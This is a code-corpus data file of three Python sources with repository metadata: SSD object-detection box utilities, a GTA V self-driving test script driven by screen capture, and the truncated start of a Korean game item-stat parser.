{"text": "\"\"\"\n@author: Viet Nguyen <nhviet1009@gmail.com>\n\"\"\"\nimport numpy as np\nimport itertools\nfrom math import sqrt\n\nimport torch\nimport torch.nn.functional as F\nfrom torchvision.ops.boxes import box_iou, box_convert\n\ncoco_classes = [\"background\", \"person\", \"bicycle\", \"car\", \"motorcycle\", \"airplane\", \"bus\", \"train\", \"truck\", \"boat\",\n                \"traffic light\", \"fire hydrant\", \"stop sign\", \"parking meter\", \"bench\", \"bird\", \"cat\", \"dog\",\n                \"horse\", \"sheep\", \"cow\", \"elephant\", \"bear\", \"zebra\", \"giraffe\", \"backpack\", \"umbrella\",\n                \"handbag\", \"tie\", \"suitcase\", \"frisbee\", \"skis\", \"snowboard\", \"sports ball\", \"kite\",\n                \"baseball bat\", \"baseball glove\", \"skateboard\", \"surfboard\", \"tennis racket\", \"bottle\",\n                \"wine glass\", \"cup\", \"fork\", \"knife\", \"spoon\", \"bowl\", \"banana\", \"apple\", \"sandwich\", \"orange\",\n                \"broccoli\", \"carrot\", \"hot dog\", \"pizza\", \"donut\", \"cake\", \"chair\", \"couch\", \"potted plant\",\n                \"bed\", \"dining table\", \"toilet\", \"tv\", \"laptop\", \"mouse\", \"remote\", \"keyboard\", \"cell phone\",\n                \"microwave\", \"oven\", \"toaster\", \"sink\", \"refrigerator\", \"book\", \"clock\", \"vase\", \"scissors\",\n                \"teddy bear\", \"hair drier\", \"toothbrush\"]\n\ncolors = [None, (39, 129, 113), (164, 80, 133), (83, 122, 114), (99, 81, 172), (95, 56, 104), (37, 84, 86),\n          (14, 89, 122),\n          (80, 7, 65), (10, 102, 25), (90, 185, 109), (106, 110, 132), (169, 158, 85), (188, 185, 26), (103, 1, 17),\n          (82, 144, 81), (92, 7, 184), (49, 81, 155), (179, 177, 69), (93, 187, 158), (13, 39, 73), (12, 50, 60),\n          (16, 179, 33), (112, 69, 165), (15, 139, 63), (33, 191, 159), (182, 173, 32), (34, 113, 133), (90, 135, 34),\n          (53, 34, 86), (141, 35, 190), (6, 171, 8), (118, 76, 112), (89, 60, 55), (15, 54, 88), (112, 75, 181),\n          (42, 147, 38), (138, 52, 63), (128, 65, 149), (106, 103, 24), (168, 33, 45), (28, 136, 135), (86, 91, 108),\n          (52, 11, 76), (142, 6, 189), (57, 81, 168), (55, 19, 148), (182, 101, 89), (44, 65, 179), (1, 33, 26),\n          (122, 164, 26), (70, 63, 134), (137, 106, 82), (120, 118, 52), (129, 74, 42), (182, 147, 112), (22, 157, 50),\n          (56, 50, 20), (2, 22, 177), (156, 100, 106), (21, 35, 42), (13, 8, 121), (142, 92, 28), (45, 118, 33),\n          (105, 118, 30), (7, 185, 124), (46, 34, 146), (105, 184, 169), (22, 18, 5), (147, 71, 73), (181, 64, 91),\n          (31, 39, 184), (164, 179, 33), (96, 50, 18), (95, 15, 106), (113, 68, 54), (136, 116, 112), (119, 139, 130),\n          (31, 139, 34), (66, 6, 127), (62, 39, 2), (49, 99, 180), (49, 119, 155), (153, 50, 183), (125, 38, 3),\n          (129, 87, 143), (49, 87, 40), (128, 62, 120), (73, 85, 148), (28, 144, 118), (29, 9, 24), (175, 45, 108),\n          (81, 175, 64), (178, 19, 157), (74, 188, 190), (18, 114, 2), (62, 128, 96), (21, 3, 150), (0, 6, 95),\n          (2, 20, 184), (122, 37, 185)]\n\n\nclass Encoder(object):\n    \"\"\"\n        Inspired by https://github.com/kuangliu/pytorch-src\n        Transform between (bboxes, lables) <-> SSD output\n\n        dboxes: default boxes in size 8732 x 4,\n            encoder: input ltrb format, output xywh format\n            decoder: input xywh format, output ltrb format\n\n        encode:\n            input  : bboxes_in (Tensor nboxes x 4), labels_in (Tensor nboxes)\n            output : bboxes_out (Tensor 8732 x 4), labels_out (Tensor 8732)\n            criteria : IoU threshold of bboexes\n\n        decode:\n            input  : bboxes_in (Tensor 8732 x 4), scores_in (Tensor 8732 x nitems)\n            output : bboxes_out (Tensor nboxes x 4), labels_out (Tensor nboxes)\n            criteria : IoU threshold of bboexes\n            max_output : maximum number of output bboxes\n    \"\"\"\n\n    def __init__(self, dboxes):\n        self.dboxes = dboxes(order=\"ltrb\")\n        self.dboxes_xywh = dboxes(order=\"xywh\").unsqueeze(dim=0)\n        self.nboxes = self.dboxes.size(0)\n        self.scale_xy = dboxes.scale_xy\n        self.scale_wh = dboxes.scale_wh\n\n    def encode(self, bboxes_in, labels_in, criteria=0.5):\n\n        ious = box_iou(bboxes_in, self.dboxes)\n        best_dbox_ious, best_dbox_idx = ious.max(dim=0)\n        best_bbox_ious, best_bbox_idx = ious.max(dim=1)\n\n        # set best ious 2.0\n        best_dbox_ious.index_fill_(0, best_bbox_idx, 2.0)\n\n        idx = torch.arange(0, best_bbox_idx.size(0), dtype=torch.int64)\n        best_dbox_idx[best_bbox_idx[idx]] = idx\n\n        # filter IoU > 0.5\n        masks = best_dbox_ious > criteria\n        labels_out = torch.zeros(self.nboxes, dtype=torch.long)\n        labels_out[masks] = labels_in[best_dbox_idx[masks]]\n        bboxes_out = self.dboxes.clone()\n        bboxes_out[masks, :] = bboxes_in[best_dbox_idx[masks], :]\n        bboxes_out = box_convert(bboxes_out, in_fmt=\"xyxy\", out_fmt=\"cxcywh\")\n        return bboxes_out, labels_out\n\n    def scale_back_batch(self, bboxes_in, scores_in):\n        \"\"\"\n            Do scale and transform from xywh to ltrb\n            suppose input Nx4xnum_bbox Nxlabel_numxnum_bbox\n        \"\"\"\n        if bboxes_in.device == torch.device(\"cpu\"):\n            self.dboxes = self.dboxes.cpu()\n            self.dboxes_xywh = self.dboxes_xywh.cpu()\n        else:\n            self.dboxes = self.dboxes.cuda()\n            self.dboxes_xywh = self.dboxes_xywh.cuda()\n\n        bboxes_in = bboxes_in.permute(0, 2, 1)\n        scores_in = scores_in.permute(0, 2, 1)\n\n        bboxes_in[:, :, :2] = self.scale_xy * bboxes_in[:, :, :2]\n        bboxes_in[:, :, 2:] = self.scale_wh * bboxes_in[:, :, 2:]\n\n        bboxes_in[:, :, :2] = bboxes_in[:, :, :2] * self.dboxes_xywh[:, :, 2:] + self.dboxes_xywh[:, :, :2]\n        bboxes_in[:, :, 2:] = bboxes_in[:, :, 2:].exp() * self.dboxes_xywh[:, :, 2:]\n        bboxes_in = box_convert(bboxes_in, in_fmt=\"cxcywh\", out_fmt=\"xyxy\")\n\n        return bboxes_in, F.softmax(scores_in, dim=-1)\n\n    def decode_batch(self, bboxes_in, scores_in, nms_threshold=0.45, max_output=200):\n        bboxes, probs = self.scale_back_batch(bboxes_in, scores_in)\n        output = []\n        for bbox, prob in zip(bboxes.split(1, 0), probs.split(1, 0)):\n            bbox = bbox.squeeze(0)\n            prob = prob.squeeze(0)\n            output.append(self.decode_single(bbox, prob, nms_threshold, max_output))\n        return output\n\n    def decode_single(self, bboxes_in, scores_in, nms_threshold, max_output, max_num=200):\n        bboxes_out = []\n        scores_out = []\n        labels_out = []\n\n        for i, score in enumerate(scores_in.split(1, 1)):\n            if i == 0:\n                continue\n\n            score = score.squeeze(1)\n            mask = score > 0.05\n\n            bboxes, score = bboxes_in[mask, :], score[mask]\n            if score.size(0) == 0: continue\n\n            score_sorted, score_idx_sorted = score.sort(dim=0)\n\n            # select max_output indices\n            score_idx_sorted = score_idx_sorted[-max_num:]\n            candidates = []\n\n            while score_idx_sorted.numel() > 0:\n                idx = score_idx_sorted[-1].item()\n                bboxes_sorted = bboxes[score_idx_sorted, :]\n                bboxes_idx = bboxes[idx, :].unsqueeze(dim=0)\n                iou_sorted = box_iou(bboxes_sorted, bboxes_idx).squeeze()\n                # we only need iou < nms_threshold\n                score_idx_sorted = score_idx_sorted[iou_sorted < nms_threshold]\n                candidates.append(idx)\n\n            bboxes_out.append(bboxes[candidates, :])\n            scores_out.append(score[candidates])\n            labels_out.extend([i] * len(candidates))\n\n        if not bboxes_out:\n            return [torch.tensor([]) for _ in range(3)]\n\n        bboxes_out, labels_out, scores_out = torch.cat(bboxes_out, dim=0), \\\n                                             torch.tensor(labels_out, dtype=torch.long), \\\n                                             torch.cat(scores_out, dim=0)\n\n        _, max_ids = scores_out.sort(dim=0)\n        max_ids = max_ids[-max_output:]\n        return bboxes_out[max_ids, :], labels_out[max_ids], scores_out[max_ids]\n\n\nclass DefaultBoxes(object):\n    def __init__(self, fig_size, feat_size, steps, scales, aspect_ratios, scale_xy=0.1, scale_wh=0.2):\n\n        self.feat_size = feat_size\n        self.fig_size = fig_size\n\n        self.scale_xy = scale_xy\n        self.scale_wh = scale_wh\n\n        self.steps = steps\n        self.scales = scales\n\n        fk = fig_size / np.array(steps)\n        self.aspect_ratios = aspect_ratios\n\n        self.default_boxes = []\n        for idx, sfeat in enumerate(self.feat_size):\n\n            sk1 = scales[idx] / fig_size\n            sk2 = scales[idx + 1] / fig_size\n            sk3 = sqrt(sk1 * sk2)\n            all_sizes = [(sk1, sk1), (sk3, sk3)]\n\n            for alpha in aspect_ratios[idx]:\n                w, h = sk1 * sqrt(alpha), sk1 / sqrt(alpha)\n                all_sizes.append((w, h))\n                all_sizes.append((h, w))\n            for w, h in all_sizes:\n                for i, j in itertools.product(range(sfeat), repeat=2):\n                    cx, cy = (j + 0.5) / fk[idx], (i + 0.5) / fk[idx]\n                    self.default_boxes.append((cx, cy, w, h))\n\n        self.dboxes = torch.tensor(self.default_boxes, dtype=torch.float)\n        self.dboxes.clamp_(min=0, max=1)\n        self.dboxes_ltrb = box_convert(self.dboxes, in_fmt=\"cxcywh\", out_fmt=\"xyxy\")\n\n    def __call__(self, order=\"ltrb\"):\n        if order == \"ltrb\":\n            return self.dboxes_ltrb\n        else:  # order == \"xywh\"\n            return self.dboxes\n\n\ndef generate_dboxes(model=\"ssd\"):\n    if model == \"ssd\":\n        figsize = 300\n        feat_size = [38, 19, 10, 5, 3, 1]\n        steps = [8, 16, 32, 64, 100, 300]\n        scales = [21, 45, 99, 153, 207, 261, 315]\n        aspect_ratios = [[2], [2, 3], [2, 3], [2, 3], [2], [2]]\n        dboxes = DefaultBoxes(figsize, feat_size, steps, scales, aspect_ratios)\n    else:  # \"ssdlite\"\n        figsize = 300\n        feat_size = [19, 10, 5, 3, 2, 1]\n        steps = [16, 32, 64, 100, 150, 300]\n        scales = [60, 105, 150, 195, 240, 285, 330]\n        aspect_ratios = [[2,3], [2, 3], [2, 3], [2, 3], [2,3], [2,3]]\n        dboxes = DefaultBoxes(figsize, feat_size, steps, scales, aspect_ratios)\n    return dboxes\n", "meta": {"hexsha": "1e229f3e63393db3bc55c1115237cdceee95deab", "size": 10212, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/utils.py", "max_stars_repo_name": "faisalthaheem/open-lpr-plate-detection", "max_stars_repo_head_hexsha": "a28434954ae438082604bb7617c56c328632628c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 139, "max_stars_repo_stars_event_min_datetime": "2021-02-10T02:16:28.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-08T16:03:42.000Z", "max_issues_repo_path": "code/utils.py", "max_issues_repo_name": "faisalthaheem/open-lpr-plate-detection", "max_issues_repo_head_hexsha": "a28434954ae438082604bb7617c56c328632628c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2021-02-12T14:47:38.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-06T06:02:21.000Z", "max_forks_repo_path": "code/utils.py", "max_forks_repo_name": "faisalthaheem/open-lpr-plate-detection", "max_forks_repo_head_hexsha": "a28434954ae438082604bb7617c56c328632628c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 42, "max_forks_repo_forks_event_min_datetime": "2021-02-10T01:59:40.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-08T13:10:42.000Z", "avg_line_length": 44.7894736842, "max_line_length": 119, "alphanum_fraction": 0.5509204857, "include": true, "reason": "import numpy", "num_tokens": 3309, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.18242553047372242, "lm_q1q2_score": 0.0947739527495201}}
{"text": "import numpy as np\r\nfrom grabscreen import grab_screen\r\nimport cv2\r\nimport time\r\nfrom directkeys import PressKey,ReleaseKey, W, A, S, D\r\nfrom modified_alexnet import alexnet3\r\nfrom getkeys import key_check\r\nimport time\r\n\r\n# Define Height Width of frame which is taken in dataset\r\nWIDTH = 200\r\nHEIGHT = 150\r\nLR = 1e-3\r\nMODEL_NAME = 'self_driving_car_gta5.model'\r\nt_time = 0.09\r\n\r\n# Go Straight\r\ndef straight():\r\n    PressKey(W)\r\n    ReleaseKey(A)\r\n    ReleaseKey(D)\r\n\r\n# Turn left\r\ndef left():\r\n    PressKey(W)\r\n    PressKey(A)\r\n    ReleaseKey(D)\r\n    time.sleep(t_time)\r\n    ReleaseKey(A)\r\n\r\n# Turn Right\r\ndef right():\r\n    PressKey(W)\r\n    PressKey(D)\r\n    ReleaseKey(A)\r\n    time.sleep(t_time)\r\n    ReleaseKey(D)\r\n\r\n# Load Neural Network\r\nmodel = alexnet3(WIDTH, HEIGHT, LR)\r\n\r\n# Load Model\r\nmodel.load(MODEL_NAME)\r\n\r\ndef main():\r\n    last_time = time.time()\r\n    for i in list(range(10))[::-1]:\r\n        print(i+1)\r\n        time.sleep(1)\r\n\r\n    paused = False\r\n    while(True):\r\n        \r\n        if not paused:\r\n            # Grab Screen of your top left corner of 800 X 600 resolution\r\n            screen = grab_screen(region=(0,0,800,600))\r\n            \r\n            print('loop took {} seconds'.format(time.time()-last_time))\r\n            last_time = time.time()\r\n\r\n            # Convert frame into Gray Scale\r\n            screen = cv2.cvtColor(screen, cv2.COLOR_BGR2GRAY)\r\n\r\n            # Resize Frame into 200 X 150\r\n            screen = cv2.resize(screen, (200,150))\r\n\r\n            # Predict Movement using trained model\r\n            prediction = model.predict([screen.reshape(200,150,1)])[0]\r\n            print(prediction)\r\n\r\n            # Set threshold for turn\r\n            turn_thresh = .75\r\n            fwd_thresh = 0.70\r\n\r\n            if prediction[1] > fwd_thresh:\r\n                straight()\r\n            elif prediction[0] > turn_thresh:\r\n                left()\r\n            elif prediction[2] > turn_thresh:\r\n                right()\r\n            else:\r\n                straight()\r\n\r\n        keys = key_check()\r\n\r\n        # p pauses game and can get annoying.\r\n        if 'T' in keys:\r\n            if paused:\r\n                paused = False\r\n                time.sleep(1)\r\n            else:\r\n                paused = True\r\n                ReleaseKey(A)\r\n                ReleaseKey(W)\r\n                ReleaseKey(D)\r\n                time.sleep(1)\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "meta": {"hexsha": "689316a909dca0e0bf40d6ff876e40f5e79e2098", "size": 2408, "ext": "py", "lang": "Python", "max_stars_repo_path": "4_Test Dataset/Testing.py", "max_stars_repo_name": "chauhanmahavir/Self-Driving-Car-On-GTAV", "max_stars_repo_head_hexsha": "4a00b62eb0a674a2eb15cd91f11e28a444e6f915", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2020-05-31T04:09:36.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-11T09:49:17.000Z", "max_issues_repo_path": "4_Test Dataset/Testing.py", "max_issues_repo_name": "chauhanmahavir/Self-Driving-Car-on-GTAV", "max_issues_repo_head_hexsha": "4a00b62eb0a674a2eb15cd91f11e28a444e6f915", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "4_Test Dataset/Testing.py", "max_forks_repo_name": "chauhanmahavir/Self-Driving-Car-on-GTAV", "max_forks_repo_head_hexsha": "4a00b62eb0a674a2eb15cd91f11e28a444e6f915", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.08, "max_line_length": 74, "alphanum_fraction": 0.5373754153, "include": true, "reason": "import numpy", "num_tokens": 553, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213219520929, "lm_q2_score": 0.18242551713899047, "lm_q1q2_score": 0.09477394582184251}}
{"text": "#!/usr/bin/python3\n#-*- coding:utf-8 -*-\n\nimport os\nfrom json import loads\nimport json\nimport urllib.request\nfrom urllib import parse as urlparse\nimport time\nimport numpy as np\nimport random\nfrom io import BytesIO\nfrom parse import compile\nimport sys\nimport subprocess\nimport math\nimport re\nimport datetime\nfrom time import sleep\n\nfrom time import (\n    process_time,\n    perf_counter,\n    sleep,\n)\n\n#item_stat_type = [\"\uc774\ub3d9\uc18d\ub3c4\", \"\uacf5\uaca9\uc18d\ub3c4\", \"\ubb3c\ub9ac\ud06c\ub9ac\ud2f0\uceec\ud788\ud2b8\", \"\ub9c8\ubc95\ud06c\ub9ac\ud2f0\uceec\ud788\ud2b8\", \"\ubaa8\ub4e0\uc18d\uc131\uac15\ud654\", \"\ubaa8\ub4e0\uc18d\uc131\uc800\ud56d\", \"\uce90\uc2a4\ud2b8\uc18d\ub3c4\"]\n\nclass LibUtil():\n    parser = [\n        compile(\"\ubb3c\ub9ac\uacf5\uaca9\ub825+{\uae61\ubb3c\uacf5:g}(\"),\n        compile(\"\ub9c8\ubc95\uacf5\uaca9\ub825+{\uae61\ub9c8\uacf5:g}(\"),\n        compile(\"\ub3c5\ub9bd\uacf5\uaca9\ub825+{\uae61\ub3c5\uacf5:g}(\"),\n        compile(\"\ubaa8\ub4e0\uc2a4\ud0ef+{\uae61\uc2a4\ud0ef:g}(\"),\n        compile(\"\ubaa8\ub4e0\uc2a4\ud0ef+{\uae61\uc2a4\ud0ef:g}\uc99d\uac00(\"),\n        compile(\"\ud798\uc9c0\ub2a5\uccb4\ub825\uc815\uc2e0\ub825{\uae61\uc2a4\ud0ef:g}\uc99d\uac00\"),\n        compile(\"\ubaa8\ub4e0\uc9c1\uc5c5{}Lv\uc2a4\ud0ac\uacf5\uaca9\ub825{}%\uc99d\uac00\"),\n        compile(\"{}\ub808\ubca8\uc561\ud2f0\ube0c\uc2a4\ud0ac\uacf5\uaca9\ub825{}%\uc99d\uac00\"),\n        compile(\"\ub3c4\uc801{}\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0ac\uacf5\uaca9\ub825{}%\uc99d\uac00\"),\n        compile(\"\ubb3c\ub9ac\ud06c\ub9ac\ud2f0\uceec\ud788\ud2b8{\ubb3c\ub9ac\ud06c\ub9ac\ud2f0\uceec:g}%\ub9c8\ubc95\ud06c\ub9ac\ud2f0\uceec\ud788\ud2b8{\ub9c8\ubc95\ud06c\ub9ac\ud2f0\uceec:g}%\uc99d\uac00\"),\n        compile(\"\ud06c\ub9ac\ud2f0\uceec\uacf5\uaca9\uc2dc\ub370\ubbf8\uc9c0{\ud06c\uc99d\ub310:g}%\uc99d\uac00\"),\n        compile(\"\ud06c\ub9ac\ud2f0\uceec\uacf5\uaca9\uc2dc\ub370\ubbf8\uc9c0\uc99d\uac00{}{\ud06c\uc99d\ucd94:g}%\ucd94\uac00\uc99d\uac00\"),\n        compile(\"\ud06c\ub9ac\ud2f0\uceec\uacf5\uaca9\uc2dc\ub370{}\uc9c0{\ud06c\uc99d\ucd94:g}%\ucd94\uac00\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc2dc\ub370\ubbf8\uc9c0{\uc99d\ub310:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc2dc\ub370\ubbf8\uc9c0\uc99d\uac00{}{\uc99d\ucd94:g}%\ucd94\uac00\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc2dc{\ucd94\ub310:g}%\ucd94\uac00\ub370\ubbf8\uc9c0\"),\n        compile(\"\ubaa8\ub4e0\uacf5\uaca9\ub825{\ubaa8\uacf5:g}%\uc99d\uac00\"),\n        compile(\"\ubaa8\ub4e0\uc9c1\uc5c5{:d}~{:d}\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0ac\ucfe8\ud0c0\uc784{:d}%\uac10\uc18c({}\uc81c\uc678\"),\n        compile(\"\ubaa8\ub4e0\uc9c1\uc5c5{minLevel:d}~{maxLevel:d}\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0ac\ucfe8\ud0c0\uc784{\uc2a4\ud0ac\ucfe8\uac10:g}%\uac10\uc18c\"),\n        compile(\"\ubaa8\ub4e0\uc9c1\uc5c5{\ub808\ubca8:d}\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0ac\uacf5\uaca9\ub825{\uc2a4\ud0ac\uc99d\ub310:g}%\uc99d\uac00\"),\n        compile(\"\ubaa8\ub4e0\uc9c1\uc5c5{:d}~{:d}\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0acLv+{:d}({}\uc81c\uc678\"),\n        compile(\"\ubaa8\ub4e0\uc9c1\uc5c5{minLevel:d}~{maxLevel:d}\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0acLv+{\uc2a4\ud0ac\ub808\ubca8:d}\"),\n        compile(\"\uc2a4\ud0ac\uacf5\uaca9\ub825{\uc2a4\uacf5:g}%{}\uac00\"),\n        compile(\"\uc2a4\ud0ac\uacf5\uaca9\ub825+{\uc2a4\uacf5:g}%\"),\n        compile(\"\ubb3c\ub9ac\ub9c8\ubc95\ub3c5\ub9bd\uacf5\uaca9\ub825{\ubb3c\ub9c8\ub3c5\uacf5:g}%\"),\n        compile(\"\ubb3c\ub9ac\ub9c8\ubc95\ub3c5\ub9bd\uacf5\uaca9\ub825+{\ubb3c\ub9c8\ub3c5\uae61:g}\uc99d\uac00\"),\n        compile(\"\ubb3c\ub9ac\ub9c8\ubc95\ub3c5\ub9bd\uacf5\uaca9\ub825{\ubb3c\ub9c8\ub3c5\uae61:g}\uc99d\uac00\"),\n        compile(\"\ubb3c\ub9ac\ub9c8\ubc95\ub3c5\ub9bd\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{\ubb3c\ub9c8\ub3c5\uacf5:g}%\"),\n        compile(\"{\uc18d\ucd94\ub310:g}%\uc18d\uc131\ucd94\uac00\ub370\ubbf8\uc9c0\"),\n        compile(\"{\uc18d\ucd94\ub310:g}%{\uc18d\uc131\uc885\ub958}\uc18d\uc131\ucd94\uac00\ub370\ubbf8\uc9c0\"),\n        compile(\"\uc801\uc5d0\uac8c\uc785\ud78c\ud53c\ud574\uc758{\uc9c0\uc18d\ub310:g}%\ub9cc\ud07c{\uc9c0\uc18d:g}\ucd08\ub3d9\uc548\uc9c0\uc18d\ud53c\ud574\ubc1c\uc0dd\"),\n        compile(\"\uacf5\uaca9\uc2dc{\uc9c0\uc18d:g}\ucd08\ub3d9\uc548\uc801\uc5d0\uac8c\uc785\ud78c\ud53c\ud574\uc758{\uc9c0\uc18d\ub310:g}%\ub9cc\ud07c\uc9c0\uc18d\ud53c\ud574\ubc1c\uc0dd\"),\n        compile(\"\ud53c\uaca9\uc2dc\ub370\ubbf8\uc9c0\uac10\uc18c{\ud53c\uaca9\ub380\uac10\uc18c:g}%\"),\n        compile(\"\ud53c\uaca9\uc2dc\ub370\ubbf8\uc9c0{\ud53c\uaca9\ub380:g}%{\uc99d\uac10}\"),\n        compile(\"\ud53c\uaca9\ub370\ubbf8\uc9c0{\ud53c\uaca9\ub380:g}%\uc99d\uac00\"),\n        compile(\"\ubb3c\ub9ac\ub9c8\ubc95\ud06c\ub9ac\ud2f0\uceec\ud788\ud2b8{\ubb3c\ub9c8\ud06c:g}\uc99d\uac00\"),\n        compile(\"\ud798\uc9c0\ub2a5{\ud798\uc9c0:g}%\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\ud798\uc9c0\ub2a5+{\ud798\uc9c0:g}%\uc99d\uac00\"),\n        compile(\"\ud798\uc9c0\ub2a5+{\ud798\uc9c0\uae61:g}\"),\n        compile(\"\ud798\uc9c0\ub2a5{\ud798\uc9c0\uae61:g}\uc99d\uac00\"),\n        compile(\"\ud798\uc9c0\ub2a5{\ud798\uc9c0:g}%\"),\n        compile(\"\ubaa8\ub4e0\uc18d\ub3c4{\uacf5\uc774\uce90\uc18d:g}%\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4\uc774\ub3d9\uc18d\ub3c4\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uacf5\uc774\uce90\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4+{\uacf5\uc18d:g}%\uc774\ub3d9\uc18d\ub3c4+{\uc774\uc18d:g}%\uce90\uc2a4\ud2b8\uc18d\ub3c4+{\uce90\uc18d:g}%\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uc774\ub3d9\uc18d\ub3c4{\uc774\uc18d:g}%\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uce90\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uc774\ub3d9\uc18d\ub3c4{\uc774\uc18d:g}%\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uce90\uc18d:g}%{\uc99d\uac10}\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uc774\ub3d9\uc18d\ub3c4{\uc774\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uce90\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uc99d\uac00\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uce90\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uc99d\uac00\ubc0f\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uce90\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4\uc774\ub3d9\uc18d\ub3c4{\uacf5\uc774\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{\uacf5\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4+{\uacf5\uc18d:g}%\"),\n        compile(\"Y\ucd95\uc774\ub3d9\uc18d\ub3c4{:g}%\uc99d\uac00\"),\n        compile(\"\uc774\ub3d9\uc18d\ub3c4{\uc774\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uc774\ub3d9\uc18d\ub3c4+{\uc774\uc18d:g}%\"),\n        \n        compile(\"\uacf5\uaca9\uc18d\ub3c4-{\uacf5\uc18d\uac10\uc18c:g}%\"),\n        compile(\"\uc801\uc774\ub3d9\uc18d\ub3c4{:g}%\uac10\uc18c\"),\n        compile(\"\uc774\ub3d9\uc18d\ub3c4-{\uc774\uc18d\uac10\uc18c:g}%\"),\n        compile(\"\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uce90\uc18d:g}%\uc99d\uac00\"),\n        compile(\"\uacf5\uaca9\uc18d\ub3c4{:g}%\uac10\uc18c\"),\n        compile(\"\uc774\ub3d9\uc18d\ub3c4{:g}%\uac10\uc18c\"),\n        compile(\"\uce90\uc2a4\ud2b8\uc18d\ub3c4{\uce90\uc18d\uac10\uc18c:g}%\uac10\uc18c\"),\n        compile(\"\uce90\uc2a4\ud2b8\uc18d\ub3c4+{\uce90\uc18d:g}%\"),\n        compile(\"\uce90\uc2a4\ud2b8\uc18d\ub3c4-{\uce90\uc18d\uac10\uc18c:g}%\"),\n        compile(\"\ubb3c\ub9ac\ud06c\ub9ac\ud2f0\uceec\ud788\ud2b8{\ubb3c\ub9ac\ud06c\ub9ac\ud2f0\uceec:g}%\uc99d\uac00\"),\n        compile(\"\ub9c8\ubc95\ud06c\ub9ac\ud2f0\uceec\ud788\ud2b8{\ub9c8\ubc95\ud06c\ub9ac\ud2f0\uceec:g}%\uc99d\uac00\"),\n        compile(\"\ubaa8\ub4e0\uc18d\uc131\uac15\ud654{\ubaa8\uc18d\uac15:g}\uc99d\uac00\"),\n        compile(\"\ubaa8\ub4e0\uc18d\uc131\uc800\ud56d{\ubaa8\uc18d\uc800:g}\uc99d\uac00\"),\n        compile(\"\ubaa8\ub4e0\uc18d\uc131\uc800\ud56d{\ubaa8\uc18d\uc800\uac10\uc18c:g}\uac10\uc18c\"),\n        compile(\"\ubaa8\ub4e0\uc18d\uc131\uc800\ud56d{\uc99d\uac10}{\ubaa8\uc18d\uc800:g}\"),\n        compile(\"\ud798\uc9c0\ub2a5\uc99d\uac00\ub7c9{\ud798\uc9c0:g}%\uc99d\uac00\"),\n        compile(\"{\uc18d\uc131\uc885\ub9581}\uc18d\uc131\uc800\ud56d{\uc18d\uc131\uc885\ub9582}\uc18d\uc131\uc800\ud56d{\uc18d\uc131\uc885\ub9583}\uc18d\uc131\uc800\ud56d{\uc18d\uc800\uac10\uc18c:g}\uac10\uc18c\"),\n        compile(\"{\uc18d\uc131\uc885\ub958}\uc18d\uc131\uc800\ud56d{\uc99d\uac10}{\uc18d\uc800:g}\"),\n        compile(\"5\ucd08\ub9c8\ub2e4\ub2e8\uc77c\uc18d\uc131\uac15\ud654+{\uc218\ubb38\uc7a5}\"),\n        compile(\"{\uc18d\uc131\uc885\ub958}\uc18d\uc131\uac15\ud654+{\uc18d\uac15:g}\"),\n        compile(\"\ub9c8\uc744\uc801\uc6a9\uc635\uc158+{\uae61\ubaa8\uc18d:g}\")\n    ]\n\n    # 